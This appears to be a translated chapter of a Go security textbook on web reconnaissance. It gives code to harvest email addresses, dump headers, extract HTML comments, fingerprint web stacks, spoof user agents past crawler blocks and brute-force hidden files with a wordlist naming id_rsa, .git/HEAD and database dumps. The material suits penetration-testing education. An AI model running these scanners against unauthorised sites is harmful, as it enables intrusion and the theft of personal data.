HTTP 响应包含一个作为读取器接口的主体。我们可以使用任何接受读取器接口的函数从读取器中提取数据。这些函数包括io.Copy()、io.ReadAtLeast()、io.ReadAll()以及bufio缓冲读取器。在此示例中,使用ioutil.ReadAll()快速将 HTTP 响应的完整内容存储到字节切片变量中。
以下是此示例的代码实现:
// Perform an HTTP request to load a page and search for a string
package main
import (
"fmt"
"io/ioutil"
"log"
"net/http"
"os"
"strings"
"time"
)
func main() {
// Load command line arguments
if len(os.Args) != 3 {
fmt.Println("Search for a keyword in the contents of a URL")
fmt.Println("Usage: " + os.Args[0] + " <url> <keyword>")
fmt.Println("Example: " + os.Args[0] +
" https://www.devdungeon.com NanoDano")
os.Exit(1)
}
url := os.Args[1]
needle := os.Args[2] // Like searching for a needle in a haystack
// Create a custom http client to override default settings. Optional
// Use http.Get() instead of client.Get() to use default client.
client := &http.Client{
Timeout: 30 * time.Second, // Default is forever!
// CheckRedirect - Policy for following HTTP redirects
// Jar - Cookie jar holding cookies
// Transport - Change default method for making request
}
response, err := client.Get(url)
if err != nil {
log.Fatal("Error fetching URL. ", err)
}
// Read response body
body, err := ioutil.ReadAll(response.Body)
if err != nil {
log.Fatal("Error reading HTTP body. ", err)
}
// Search for string
if strings.Contains(string(body), needle) {
fmt.Println("Match found for " + needle + " in URL " + url)
} else {
fmt.Println("No match found for " + needle + " in URL " + url)
}
}
使用正则表达式在页面中查找电子邮件地址
正则表达式(regex)实际上是一种语言形式。本质上,它是一种表示文本搜索模式的特殊字符串。你可能熟悉在使用 shell 时的星号(*)。例如,命令ls *.txt使用了一个简单的正则表达式。在这种情况下,星号代表任何东西;所以只要字符串以.txt结尾,都会匹配。正则表达式除了星号外,还有其他符号,比如句点(.),它代表匹配任何单个字符,而星号则匹配任何长度的字符串。利用这些符号,还可以构建更强大的表达式。
正则表达式因其运行速度较慢而广为人知。所使用的实现方式保证了基于输入长度的线性时间运行,而非指数时间运行。这意味着它将比许多没有提供这种保证的正则表达式实现(如 Perl)运行得更快。Go 的作者之一 Russ Cox 在 2007 年发表了一篇深入比较这两种方法的文章,文章链接为swtch.com/~rsc/regexp/regexp1.html。这对于我们在 HTML 页面中搜索内容的应用场景至关重要。如果正则表达式以指数时间运行,基于输入长度,某些表达式的搜索可能字面上需要几年时间才能完成。
了解更多关于正则表达式的一般信息,请访问en.wikipedia.org/wiki/Regular_expression 和相关的 Go 文档:golang.org/pkg/regexp/。
本示例使用了一个正则表达式,用于搜索嵌入在 HTML 中的电子邮件地址链接。它会搜索任何mailto链接并提取电子邮件地址。我们将使用默认的 HTTP 客户端,并调用http.Get(),而不是创建自定义客户端来修改超时设置。
一个典型的电子邮件链接看起来像这样:
<a href="mailto:nanodano@devdungeon.com">
<a href="mailto:nanodano@devdungeon.com?subject=Hello">
本示例中使用的正则表达式是:
"mailto:.*?["?]
让我们逐一分析并检查每个部分:
-
"mailto::这一部分只是一个字符串字面量。第一个字符是一个引号("),在正则表达式中没有特殊含义。它被当作普通字符对待。这意味着正则表达式将首先搜索一个引号字符。在引号后面是文本mailto和一个冒号(:),冒号也没有特殊含义。 -
.*?:句点(.)表示匹配除换行符之外的任何字符。星号表示根据前一个符号(句点)继续匹配零个或多个字符。星号后紧跟着一个问号(?)。这个问号告诉星号进行非贪婪匹配,它会匹配最短的字符串。如果没有问号,星号会尽可能匹配更长的字符串,同时仍然满足整个正则表达式。我们只想要电子邮件地址本身,而不是任何查询参数,比如?subject,所以我们让它进行非贪婪或短匹配。 -
["?]:正则表达式的最后一部分是["?]集合。方括号告诉正则表达式匹配方括号内的任何字符。我们这里只有两个字符:引号和问号。这里的问号没有特殊意义,视为普通字符。方括号内的两个字符是限定电子邮件地址结尾的两个可能字符。默认情况下,正则表达式会选择最后出现的字符,并返回最长的字符串,因为之前的星号会使其贪婪匹配。然而,由于我们在前一部分的星号后面紧接着添加了另一个问号,它会执行非贪婪匹配,并在找到第一个匹配方括号内字符的地方停止。
使用这种技术意味着我们只会找到通过 HTML 中的<a>标签显式链接的电子邮件地址。它不会找到页面中仅作为纯文本书写的电子邮件地址。创建一个基于模式如<word>@<word>.<word>的正则表达式来查找电子邮件字符串看似简单,但不同正则表达式实现之间的细微差别和电子邮件地址可能出现的复杂变化使得编写一个能捕获所有有效电子邮件组合的正则表达式变得困难。如果你在网上快速搜索一个例子,你会看到有多少种变化,以及它们是多么复杂。
如果你正在创建某种网络服务,验证用户的电子邮件账户非常重要,可以通过发送邮件让用户回复或通过某种方式验证链接来完成验证。我不建议你仅仅依靠正则表达式来判断电子邮件是否有效,我还建议你在使用正则表达式进行客户端电子邮件验证时要格外小心。用户可能有一个在技术上有效但很奇怪的电子邮件地址,而你可能会阻止他们注册你的服务。
这里有一些根据 1982 年发布的RFC 822标准实际上有效的电子邮件地址示例:
-
*.*@example.com -
$what^the.#!$%@example.com -
!#$%^&*=()@example.com -
"!@#$%{}^&~*()|/="@example.com -
"hello@example.com"@example.com
在 2001 年,RFC 2822 替代了 RFC 822。在所有前面的示例中,只有最后两个包含 @ 符号的被新的 RFC 2822 视为无效。所有其他示例仍然有效。阅读原始 RFC 文档:www.ietf.org/rfc/rfc822.txt 和 www.ietf.org/rfc/rfc2822.txt。
以下是该示例的代码实现:
// Search through a URL and find mailto links with email addresses
package main
import (
"fmt"
"io/ioutil"
"log"
"net/http"
"os"
"regexp"
)
func main() {
// Load command line arguments
if len(os.Args) != 2 {
fmt.Println("Search for emails in a URL")
fmt.Println("Usage: " + os.Args[0] + " <url>")
fmt.Println("Example: " + os.Args[0] +
" https://www.devdungeon.com")
os.Exit(1)
}
url := os.Args[1]
// Fetch the URL
response, err := http.Get(url)
if err != nil {
log.Fatal("Error fetching URL. ", err)
}
// Read the response
body, err := ioutil.ReadAll(response.Body)
if err != nil {
log.Fatal("Error reading HTTP body. ", err)
}
// Look for mailto: links using a regular expression
re := regexp.MustCompile("\"mailto:.*?[?\"]")
matches := re.FindAllString(string(body), -1)
if matches == nil {
// Clean exit if no matches found
fmt.Println("No emails found.")
os.Exit(0)
}
// Print all emails found
for _, match := range matches {
// Remove "mailto prefix and the trailing quote or question mark
// by performing a slice operation to extract the substring
cleanedMatch := match[8 : len(match)-1]
fmt.Println(cleanedMatch)
}
}
从 HTTP 响应中提取 HTTP 头部
HTTP 头部包含有关请求和响应的元数据和描述性信息。通过检查服务器返回的 HTTP 头部,您可以潜在地了解有关服务器的很多信息。您可以从头部中了解以下内容:
-
缓存系统
-
认证
-
操作系统
-
Web 服务器
-
响应类型
-
框架或内容管理系统
-
编程语言
-
口语语言
-
安全头部
-
Cookie
不是每个 web 服务器都会返回所有这些头部,但了解尽可能多的头部信息是有帮助的。像 WordPress 和 Drupal 这样的流行框架会返回一个 X-Powered-By 头部,告诉您是 WordPress 还是 Drupal,并且会显示版本号。
会话 Cookie 也能泄露很多信息。一个名为 PHPSESSID 的 Cookie 表明它很可能是一个 PHP 应用程序。Django 的默认会话 Cookie 名为 sessionid,Java 的为 JSESSIONID,Ruby on Rail 的会话 Cookie 遵循 _APPNAME_session 模式。您可以利用这些线索对 web 服务器进行指纹识别。如果您只需要头部信息,而不需要页面的整个正文,您可以使用 HTTP HEAD 方法代替 HTTP GET。HEAD 方法将只返回头部信息。
这个示例向一个 URL 发出一个 HEAD 请求,并打印出所有的头部。http.Response 类型包含一个名为 Header 的字符串到字符串的映射,里面包含每个 HTTP 头部的键值对:
// Perform an HTTP HEAD request on a URL and print out headers
package main
import (
"fmt"
"log"
"net/http"
"os"
)
func main() {
// Load URL from command line arguments
if len(os.Args) != 2 {
fmt.Println(os.Args[0] + " - Perform an HTTP HEAD request to a URL")
fmt.Println("Usage: " + os.Args[0] + " <url>")
fmt.Println("Example: " + os.Args[0] +
" https://www.devdungeon.com")
os.Exit(1)
}
url := os.Args[1]
// Perform HTTP HEAD
response, err := http.Head(url)
if err != nil {
log.Fatal("Error fetching URL. ", err)
}
// Print out each header key and value pair
for key, value := range response.Header {
fmt.Printf("%s: %s\n", key, value[0])
}
}
使用 HTTP 客户端设置 Cookie
Cookie 是现代 web 应用程序的重要组成部分。Cookie 在客户端和服务器之间作为 HTTP 头部来回传递。Cookie 只是由浏览器客户端存储的文本键值对。它们用于在客户端存储持久化数据。Cookie 可以存储任何文本值,但通常用于存储偏好设置、令牌和会话信息。
会话 Cookie 通常存储一个与服务器中的令牌匹配的令牌。当用户登录时,服务器会创建一个与该用户相关的标识令牌的会话。服务器随后以 Cookie 形式将令牌发送回用户。当客户端以 Cookie 形式发送会话令牌时,服务器会查找并在会话存储中找到匹配的令牌,存储可能是数据库、文件或内存。会话令牌需要足够的熵,以确保它是唯一的,攻击者无法猜测。
如果用户在公共 Wi-Fi 网络上,并访问一个没有使用 SSL 的网站,附近的任何人都可以看到明文的 HTTP 请求。攻击者可能会窃取会话 cookie,并在自己的请求中使用它。当 cookie 以这种方式被侧面劫持时,攻击者可以冒充受害者。服务器会将其视为已经登录的用户。攻击者可能永远无法知道密码,而且也不需要知道。
因此,偶尔退出网站并销毁所有活动会话是有用的。有些网站允许你手动销毁所有活动会话。如果你运行一个网络服务,我建议你为会话设置合理的过期时间。银行网站通常会做得很好,强制执行短时间(10-15 分钟)的过期时间。
服务器在创建新 cookie 时,会发送一个Set-Cookie头部到客户端。客户端随后会使用Cookie头部将 cookie 发送回服务器。
这是服务器发送的一个简单的 cookie 头部示例:
Set-Cookie: preferred_background=blue
Set-Cookie: session_id=PZRNVYAMDFECHBGDSSRLH
这是来自客户的一个示例标题:
Cookie: preferred_background=blue; session_id=PZRNVYAMDFECHBGDSSRLH
cookie 还可以包含其他属性,例如在第九章《Web 应用程序》中讨论的Secure和HttpOnly标志。其他属性包括过期日期、域名和路径。这个示例仅展示了最简单的应用。
在这个示例中,发起了一个带有自定义会话 cookie 的简单请求。会话 cookie 使你在访问网站时能够保持登录状态。这个示例应该作为如何使用 cookie 发起请求的参考,而不是一个独立的工具。首先,在main函数之前定义 URL。然后,创建 HTTP 请求,首先指定 HTTP GET 方法。由于GET请求通常不需要正文,所以提供一个空正文。接着,更新新请求,添加新的头部信息——cookie。在这个示例中,session_id 是会话 cookie 的名称,但这会根据所交互的 web 应用而有所不同。
一旦请求准备好,就创建一个 HTTP 客户端来实际发起请求并处理响应。请注意,HTTP 请求和 HTTP 客户端是独立的实体。例如,你可以多次重用一个请求,使用不同的客户端发送请求,或者使用一个客户端发起多个请求。这使得你可以在需要管理多个客户端会话时创建多个带有不同会话 cookie 的请求对象。
以下是该示例的代码实现:
package main
import (
"fmt"
"io/ioutil"
"log"
"net/http"
)
var url = "https://www.example.com"
func main() {
// Create the HTTP request
request, err := http.NewRequest("GET", url, nil)
if err != nil {
log.Fatal("Error creating HTTP request. ", err)
}
// Set cookie
request.Header.Set("Cookie", "session_id=<SESSION_TOKEN>")
// Create the HTTP client, make request and print response
httpClient := &http.Client{}
response, err := httpClient.Do(request)
data, err := ioutil.ReadAll(response.Body)
fmt.Printf("%s\n", data)
}
在网页中查找 HTML 注释
HTML 注释有时包含一些惊人的信息。我曾亲眼见过一些网站在 HTML 注释中暴露了管理员的用户名和密码。我也曾见过整个菜单被注释掉,但链接仍然有效并且可以直接访问。你永远不知道一个粗心的开发者可能会留下什么信息。
如果你打算在代码中留下注释,最好将它们留在服务器端代码中,而不是客户端的 HTML 和 JavaScript 中。可以在 PHP、Ruby、Python 或任何后端代码中进行注释。你永远不希望在代码中向客户端提供超过他们需要的信息。
该程序中使用的正则表达式包含一些特殊的序列。这里是完整的正则表达式。它本质上表示“匹配<!--和-->字符串之间的任何内容”。让我们逐部分分析:
-
<!--(.|\n)*?-->:开始和结束都是<!--和-->,这分别是 HTML 注释的开头和结尾标记。它们是普通字符,不是正则表达式中的特殊字符。 -
(.|\n)*?:这可以分解成两部分: -
(.|\n):第一部分有一些特殊字符。括号()包裹了一组选项。管道符号|分隔这些选项。选项本身是点号.和换行符\n。点号表示匹配任何字符,除了换行符。由于 HTML 注释可能跨越多行,我们希望匹配包括换行符在内的任何字符。整个部分(.|\n)表示匹配点号或换行符。
-
*?:星号表示继续匹配前一个字符或表达式零次或多次。紧接星号的是一组括号,因此它会继续尝试匹配(.|\n)。问号告诉星号以非贪婪模式工作,即返回最小的匹配项。如果没有问号来指定非贪婪模式,它会匹配尽可能大的内容,这意味着它会从页面上第一个注释的开始处开始匹配,直到最后一个注释的结束位置,涵盖其中的所有内容。
尝试在一些网站上运行这个程序,看看你能找到什么样的 HTML 注释。你可能会对能揭示出的信息感到惊讶。例如,MailChimp 的注册表单包含一个 HTML 注释,实际上给你提供了绕过机器人防止注册的技巧。MailChimp 的注册表单使用了一个蜜罐字段,如果这个字段被填充,系统就会认为是机器人提交的表单。看看你能找到什么。
这个例子首先会获取提供的 URL,然后使用我们之前讲解过的正则表达式来搜索 HTML 注释。每找到一个匹配项,就会打印到标准输出:
// Search through a URL and find HTML comments
package main
import (
"fmt"
"io/ioutil"
"log"
"net/http"
"os"
"regexp"
)
func main() {
// Load command line arguments
if len(os.Args) != 2 {
fmt.Println("Search for HTML comments in a URL")
fmt.Println("Usage: " + os.Args[0] + " <url>")
fmt.Println("Example: " + os.Args[0] +
" https://www.devdungeon.com")
os.Exit(1)
}
url := os.Args[1]
// Fetch the URL and get response
response, err := http.Get(url)
if err != nil {
log.Fatal("Error fetching URL. ", err)
}
body, err := ioutil.ReadAll(response.Body)
if err != nil {
log.Fatal("Error reading HTTP body. ", err)
}
// Look for HTML comments using a regular expression
re := regexp.MustCompile("<!--(.|\n)*?-->")
matches := re.FindAllString(string(body), -1)
if matches == nil {
// Clean exit if no matches found
fmt.Println("No HTML comments found.")
os.Exit(0)
}
// Print all HTML comments found
for _, match := range matches {
fmt.Println(match)
}
}
在 Web 服务器上查找未列出的文件
有一个流行的程序叫做 DirBuster,渗透测试人员用它来查找未列出的文件。DirBuster 是一个 OWASP 项目,预装在 Kali 上,Kali 是流行的渗透测试 Linux 发行版。仅凭标准库,我们就能用几行代码快速、并发且简单地克隆 DirBuster。有关 DirBuster 的更多信息,请访问www.owasp.org/index.php/Category:OWASP_DirBuster_Project。
该程序是一个简单的 DirBuster 克隆,基于单词列表搜索未列出的文件。你需要自己创建单词列表。这里会提供一个小的示例文件名列表,以便给你一些想法并作为起始列表。根据你的经验和源代码来构建文件列表。某些 Web 应用程序具有特定名称的文件,能让你指纹识别使用的框架。此外,还要查找备份文件、配置文件、版本控制文件、更新日志文件、私钥、应用程序日志以及任何不应公开的文件。你也可以在互联网上找到现成的单词列表,包括 DirBuster 的列表。
这是一个你可以搜索的文件示例列表:
-
.gitignore -
.git/HEAD -
id_rsa -
debug.log -
database.sql -
index-old.html -
backup.zip -
config.ini -
settings.ini -
settings.php.bak -
CHANGELOG.txt
该程序将使用提供的单词列表搜索域名,并报告任何没有返回 404 NOT FOUND 响应的文件。单词列表应该以换行符分隔文件名,每行一个文件名。提供域名作为参数时,尾部的斜杠是可选的,程序无论有无尾部斜杠都会正确运行。然而,协议必须被指定,这样请求才能知道是使用 HTTP 还是 HTTPS。
url.Parse()函数用于创建一个正确的 URL 对象。使用 URL 类型,你可以独立地修改Path,而无需修改Host或Scheme。这提供了一种便捷的方式来更新 URL,而无需手动处理字符串。
要逐行读取文件,使用了扫描器。默认情况下,扫描器按换行符拆分,但可以通过调用scanner.Split()并提供自定义拆分函数来覆盖此行为。由于预计单词将单独一行提供,因此我们使用默认行为:
// Look for unlisted files on a domain
package main
import (
"bufio"
"fmt"
"log"
"net/http"
"net/url"
"os"
"strconv"
)
// Given a base URL (protocol+hostname) and a filepath (relative URL)
// perform an HTTP HEAD and see if the path exists.
// If the path returns a 200 OK print out the path
func checkIfUrlExists(baseUrl, filePath string, doneChannel chan bool) {
// Create URL object from raw string
targetUrl, err := url.Parse(baseUrl)
if err != nil {
log.Println("Error parsing base URL. ", err)
}
// Set the part of the URL after the host name
targetUrl.Path = filePath
// Perform a HEAD only, checking status without
// downloading the entire file
response, err := http.Head(targetUrl.String())
if err != nil {
log.Println("Error fetching ", targetUrl.String())
}
// If server returns 200 OK file can be downloaded
if response.StatusCode == 200 {
log.Println(targetUrl.String())
}
// Signal completion so next thread can start
doneChannel <- true
}
func main() {
// Load command line arguments
if len(os.Args) != 4 {
fmt.Println(os.Args[0] + " - Perform an HTTP HEAD request to a URL")
fmt.Println("Usage: " + os.Args[0] +
" <wordlist_file> <url> <maxThreads>")
fmt.Println("Example: " + os.Args[0] +
" wordlist.txt https://www.devdungeon.com 10")
os.Exit(1)
}
wordlistFilename := os.Args[1]
baseUrl := os.Args[2]
maxThreads, err := strconv.Atoi(os.Args[3])
if err != nil {
log.Fatal("Error converting maxThread value to integer. ", err)
}
// Track how many threads are active to avoid
// flooding a web server
activeThreads := 0
doneChannel := make(chan bool)
// Open word list file for reading
wordlistFile, err := os.Open(wordlistFilename)
if err != nil {
log.Fatal("Error opening wordlist file. ", err)
}
// Read each line and do an HTTP HEAD
scanner := bufio.NewScanner(wordlistFile)
for scanner.Scan() {
go checkIfUrlExists(baseUrl, scanner.Text(), doneChannel)
activeThreads++
// Wait until a done signal before next if max threads reached
if activeThreads >= maxThreads {
<-doneChannel
activeThreads -= 1
}
}
// Wait for all threads before repeating and fetching a new batch
for activeThreads > 0 {
<-doneChannel
activeThreads -= 1
}
// Scanner errors must be checked manually
if err := scanner.Err(); err != nil {
log.Fatal("Error reading wordlist file. ", err)
}
}
更改请求的用户代理
一种常见的阻止爬虫和抓取器的技术是阻止特定的用户代理。一些服务会将包含如curl和python等关键词的用户代理列入黑名单。你可以通过简单地将用户代理更改为firefox来绕过大多数这些限制。
要设置用户代理,必须首先创建 HTTP 请求对象。该头部必须在发出实际请求之前设置。这意味着你不能使用像http.Get()这样的快捷便利函数。我们必须创建客户端,然后创建请求,再使用客户端通过client.Do()发出请求。
这个例子通过http.NewRequest()创建一个 HTTP 请求,然后修改请求头来覆盖User-Agent头。你可以用它来隐藏、伪造或保持真实。为了成为一个合格的网络公民,我建议你为爬虫创建一个唯一的用户代理,这样网站管理员就可以限制或屏蔽你的爬虫。我还建议你在用户代理中包含一个网站或电子邮件地址,这样网站管理员可以要求跳过你的抓取工具。
以下是此示例的代码实现:
// Change HTTP user agent
package main
import (
"log"
"net/http"
)
func main() {
// Create the request for use later
client := &http.Client{}
request, err := http.NewRequest("GET",
"https://www.devdungeon.com", nil)
if err != nil {
log.Fatal("Error creating request. ", err)
}
// Override the user agent
request.Header.Set("User-Agent", "_Custom User Agent_")
// Perform the request, ignore response.
_, err = client.Do(request)
if err != nil {
log.Fatal("Error making request. ", err)
}
}
网页应用程序技术栈的指纹识别
指纹识别网页应用程序是指你试图识别用于提供网页应用程序的技术。指纹识别可以在多个层面进行。在较低层面,HTTP 头部可以提供关于操作系统(如 Windows 或 Linux)和运行的网页服务器(如 Apache 或 nginx)的线索。头部还可能提供有关应用层使用的编程语言或框架的信息。在更高层面,网页应用程序可以通过指纹识别来识别使用的 JavaScript 库、是否包含任何分析平台、是否显示任何广告网络、使用的缓存层以及其他信息。我们将首先查看 HTTP 头部,然后介绍更复杂的指纹识别方法。
指纹识别是攻击或渗透测试中的关键步骤,因为它有助于缩小选择范围并确定要采取的路径。识别使用的技术还可以帮助你查找已知的漏洞。如果一个网页应用程序没有及时更新,简单的指纹识别和漏洞搜索可能就是找到并利用已知漏洞所需要的一切。如果没有别的,它至少能帮助你了解目标。
基于 HTTP 响应头的指纹识别
我建议你首先检查 HTTP 头部,因为它们是简单的键值对,而且每次请求返回的通常只有几个头部。手动浏览这些头部不会花费太长时间,因此可以在继续检查应用程序之前先查看它们。应用层的指纹识别更为复杂,我们稍后会讲到这一点。在本章的早些部分,有一节关于提取 HTTP 头并打印出来以供检查的内容(从 HTTP 响应中提取 HTTP 头部)。你可以使用该程序转储不同网页的头部,并查看你能发现什么。
基本的思路很简单。寻找关键词。特别是某些头信息包含最明显的线索,例如X-Powered-By、Server和X-Generator头。X-Powered-By头可以包含正在使用的框架或内容管理系统(CMS)的名称,例如 WordPress 或 Drupal。
检查头信息的基本步骤有两个。首先,你需要获取头信息。使用本章前面提供的示例来提取 HTTP 头。第二步是进行字符串搜索,寻找关键词。你可以使用strings.ToUpper()和strings.Contains()直接搜索关键词,或者使用正则表达式。参阅本章前面解释如何使用正则表达式的示例。一旦你能够在头信息中搜索,你只需要能够生成关键词列表来进行搜索。
你可以寻找许多关键词。你搜索什么取决于你想寻找什么。为了给你提供一些思路,我会尝试涵盖几个广泛的类别。你首先可以尝试识别主机运行的是哪种操作系统。下面是一个示例列表,列出了你可以在 HTTP 头中找到的,用来指示操作系统的关键词:
-
Linux -
Debian -
Fedora -
Red Hat -
CentOS -
Ubuntu -
FreeBSD -
Win32 -
Win64 -
Darwin
下面是一些可以帮助你确定使用的是哪种 Web 服务器的关键词列表。这绝不是一个详尽无遗的列表,但涵盖了几个关键词,如果你在互联网上搜索,它们会产生结果:
-
Apache -
Nginx -
Microsoft-IIS -
Tomcat -
WEBrick -
Lighttpd -
IBM HTTP Server
确定正在使用的编程语言可以在你的攻击选择中产生重大影响。像 PHP 这样的脚本语言与 Java 服务器或 ASP.NET 应用程序在脆弱性上有所不同。以下是你可以在 HTTP 头中使用的一些关键词,帮助你识别应用程序使用的是哪种语言:
-
Python -
Ruby -
Perl -
PHP -
ASP.NET
会话 Cookie 也是确定正在使用的框架或语言的重要线索。例如,PHPSESSID表示 PHP,JSESSIONID表示 Java。以下是你可以搜索的几个会话 Cookie:
-
PHPSESSID -
JSESSIONID -
session -
sessionid -
CFID/CFTOKEN -
ASP.NET_SessionId
指纹识别 Web 应用程序
总体来说,指纹识别 Web 应用程序的范围比仅查看 HTTP 头要广泛得多。你可以在 HTTP 头中进行基本的关键词搜索,正如之前所讨论的,学到很多信息,但在 HTML 源代码和内容中,以及服务器上其他文件的存在或内容中,也有丰富的信息。
在 HTML 源代码中,你可以查找一些线索,如页面结构本身以及 HTML 元素的类名和 ID。AngularJS 应用程序有独特的 HTML 属性,例如ng-app,可以作为指纹识别的关键词。Angular 通常也包含在一个script标签中,就像其他框架如 jQuery 一样。script标签还可以检查其他线索。查找诸如 Google Analytics、AdSense、Yahoo 广告、Facebook、Disqus、Twitter 和其他第三方嵌入的 JavaScript 等信息。
仅仅通过查看 URL 中的文件扩展名,你就能知道使用了什么语言。例如,.php、.jsp和.asp分别表示使用了 PHP、Java 和 ASP。
我们还查看了一个可以在网页中找到 HTML 注释的程序。一些框架和内容管理系统(CMS)会留下可识别的页脚或隐藏的 HTML 注释。有时,标记可能以小图像的形式存在。
目录结构也可能是另一个线索。这需要首先熟悉不同的框架。例如,Drupal 将站点信息存储在名为/sites/default的目录中。如果你尝试访问该 URL 并且得到的是 403 FORBIDDEN 响应,而不是 404 NOT FOUND 错误,那么你很可能发现了一个基于 Drupal 的网站。
查找像wp-cron.php这样的文件。在寻找未列出的文件部分,我们讨论了使用 DirBuster 克隆工具查找未列出的文件。找到一份可以用于指纹识别 Web 应用程序的唯一文件列表,并将它们添加到你的词表中。你可以通过检查不同 Web 框架的代码库来确定要查找哪些文件。例如,WordPress 和 Drupal 的源代码是公开可用的。使用本章早些时候讨论的程序来查找未列出的文件,进行文件搜索。你还可以查找与文档相关的其他未列出的文件,如CHANGELOG.txt、readme.txt、readme.md、readme.html、LICENSE.txt、install.txt或install.php。
通过指纹识别正在运行的应用程序的版本,你可以获得更多的 Web 应用程序详细信息。如果你能够访问源代码,这将更容易。我将使用 WordPress 作为示例,因为它非常普及,而且其源代码可以在 GitHub 上找到,github.com/WordPress/WordPress。
目标是找出不同版本之间的差异。WordPress 是一个很好的例子,因为它们都带有 /wp-admin/ 目录,里面包含所有的管理接口。在 /wp-admin/ 目录下,有 css 和 js 文件夹,分别存放样式表和脚本文件。当网站托管在服务器上时,这些文件是公开可访问的。你可以使用 diff 命令对这些文件夹进行比较,找出哪些版本新增了文件,哪些版本删除了文件,哪些版本修改了现有文件。通过将所有信息综合起来,你通常可以将应用程序缩小到某个特定版本,或者至少是一个小范围的版本。
举一个简单的例子,假设版本 1.0 只包含一个文件:main.js。版本 1.1 引入了第二个文件:utility.js。版本 1.3 删除了这两个文件,并用一个文件:master.js 替代了它们。你可以向 Web 服务器发起 HTTP 请求,获取这三个文件:main.js、utility.js 和 master.js。根据返回 200 OK 状态的文件和返回 404 NOT FOUND 状态的文件,你可以确定当前运行的版本。
如果相同的文件出现在多个版本中,你可以更深入地检查这些文件的内容。可以逐字节比较,或者对文件进行哈希并比较校验和。哈希和哈希示例在第六章,《加密学》中有详细讲解。
有时,识别版本比刚才描述的整个过程要简单得多。有时会有一个 CHANGELOG.txt 或 readme.html 文件,它可以直接告诉你当前运行的是哪个版本,而不需要进行任何工作。
如何防止应用程序被指纹识别
如前所述,指纹识别应用程序有多种方法,可以在技术栈的不同层级进行。你真正应该问自己的第一个问题是,“我需要防止指纹识别吗?”一般来说,试图防止指纹识别是一种混淆技术。混淆技术有些争议,但我认为大家都同意混淆并不是安全,就像编码并不是加密一样。它可能会暂时减缓攻击者、限制信息或造成困惑,但并不能真正阻止任何漏洞的利用。现在,我不是说混淆完全没有好处,但它永远不能单独依赖。混淆只是一个薄弱的掩盖层。
显然,你不希望泄露关于应用程序的过多信息,比如调试输出或配置设置,但当服务在网络上可用时,无论如何总会有一些信息是可用的。你需要决定投入多少时间和精力来隐藏这些信息。
有些人甚至通过输出虚假信息来误导攻击者。就个人而言,在加强服务器安全时,我不会把发布虚假头信息列入我的清单中。我建议你做的一件事是删除任何多余的文件,如前面所提到的。像更改日志文件、默认设置文件、安装文件和文档文件这样的文件,在部署之前应该全部删除。不要公开提供那些应用程序运行所不需要的文件。
混淆是一个值得单独成章,甚至是写书的主题。甚至有专门的混淆比赛,旨在奖励最具创意和奇特的混淆方式。有些工具可以帮助你混淆 JavaScript 代码,但另一方面,也有解混淆工具。
使用 goquery 包进行网页抓取
goquery包不是标准库的一部分,但可以在 GitHub 上找到。它的设计类似于 jQuery——一个流行的 JavaScript 框架,用于与 HTML DOM 进行交互。正如前面章节所示,使用字符串匹配和正则表达式进行搜索既繁琐又复杂。goquery包使得处理 HTML 内容和查找特定元素变得更加容易。我建议使用这个包,因为它是基于非常流行的 jQuery 框架的,许多人已经对此非常熟悉。
你可以使用go get命令获取goquery包:
go get https://github.com/PuerkitoBio/goquery
文档可以在godoc.org/github.com/PuerkitoBio/goquery上找到。
列出页面中的所有超链接
对于goquery包的介绍,我们将探讨一个常见且简单的任务。我们将查找页面中的所有超链接并将其打印出来。一个典型的链接看起来像这样:
<a href="https://www.devdungeon.com">DevDungeon</a>
在 HTML 中,a标签代表锚点,href属性代表超链接引用。可以存在没有href属性但只有name属性的锚点标签,这些被称为书签或命名锚点,用于跳转到同一页面中的某个位置。我们将忽略这些,因为它们只在同一页面内链接。target属性只是一个可选的属性,用于指定在哪个窗口或标签页中打开链接。对于这个示例,我们只关心href值:
// Load a URL and list all links found
package main
import (
"fmt"
"github.com/PuerkitoBio/goquery"
"log"
"net/http"
"os"
)
func main() {
// Load command line arguments
if len(os.Args) != 2 {
fmt.Println("Find all links in a web page")
fmt.Println("Usage: " + os.Args[0] + " <url>")
fmt.Println("Example: " + os.Args[0] +
" https://www.devdungeon.com")
os.Exit(1)
}
url := os.Args[1]
// Fetch the URL
response, err := http.Get(url)
if err != nil {
log.Fatal("Error fetching URL. ", err)
}
// Extract all links
doc, err := goquery.NewDocumentFromReader(response.Body)
if err != nil {
log.Fatal("Error loading HTTP response body. ", err)
}
// Find and print all links
doc.Find("a").Each(func(i int, s *goquery.Selection) {
href, exists := s.Attr("href")
if exists {
fmt.Println(href)
}
})
}
在网页中查找文档
文档也是感兴趣的内容。你可能会想抓取一个网页并查找文档。文字处理文档、电子表格、幻灯片、CSV、文本文件和其他文件可能包含有用的信息,用于各种目的。
以下示例将搜索一个 URL,并根据链接中的文件扩展名搜索文档。为了方便起见,在顶部定义了一个全局变量,列出了所有应该搜索的扩展名。自定义要搜索的扩展名列表,以便查找目标文件类型。考虑将该应用程序扩展为从文件中读取文件扩展名列表,而不是硬编码。你在寻找敏感信息时,还会查找哪些其他文件扩展名?
以下是此示例的代码实现:
// Load a URL and list all documents
package main
import (
"fmt"
"github.com/PuerkitoBio/goquery"
"log"
"net/http"
"os"
"strings"
)
var documentExtensions = []string{"doc", "docx", "pdf", "csv",
"xls", "xlsx", "zip", "gz", "tar"}
func main() {
// Load command line arguments
if len(os.Args) != 2 {
fmt.Println("Find all links in a web page")
fmt.Println("Usage: " + os.Args[0] + " <url>")
fmt.Println("Example: " + os.Args[0] +
" https://www.devdungeon.com")
os.Exit(1)
}
url := os.Args[1]
// Fetch the URL
response, err := http.Get(url)
if err != nil {
log.Fatal("Error fetching URL. ", err)
}
// Extract all links
doc, err := goquery.NewDocumentFromReader(response.Body)
if err != nil {
log.Fatal("Error loading HTTP response body. ", err)
}
// Find and print all links that contain a document
doc.Find("a").Each(func(i int, s *goquery.Selection) {
href, exists := s.Attr("href")
if exists && linkContainsDocument(href) {
fmt.Println(href)
}
})
}
func linkContainsDocument(url string) bool {
// Split URL into pieces
urlPieces := strings.Split(url, ".")
if len(urlPieces) < 2 {
return false
}
// Check last item in the split string slice (the extension)
for _, extension := range documentExtensions {
if urlPieces[len(urlPieces)-1] == extension {
return true
}
}
return false
}
列出页面标题和标题
标题是定义网页层次结构的主要结构元素,其中 <h1> 是最高层级,<h6> 是最低或最深的层级。HTML 页面的 <title> 标签定义了页面标题,显示在浏览器的标题栏中,它不属于渲染页面的一部分。
通过列出标题和标题,你可以快速了解页面的主题,前提是他们正确地格式化了 HTML。每个页面应该只有一个 <title> 和一个 <h1> 标签,但并非每个人都遵守标准。
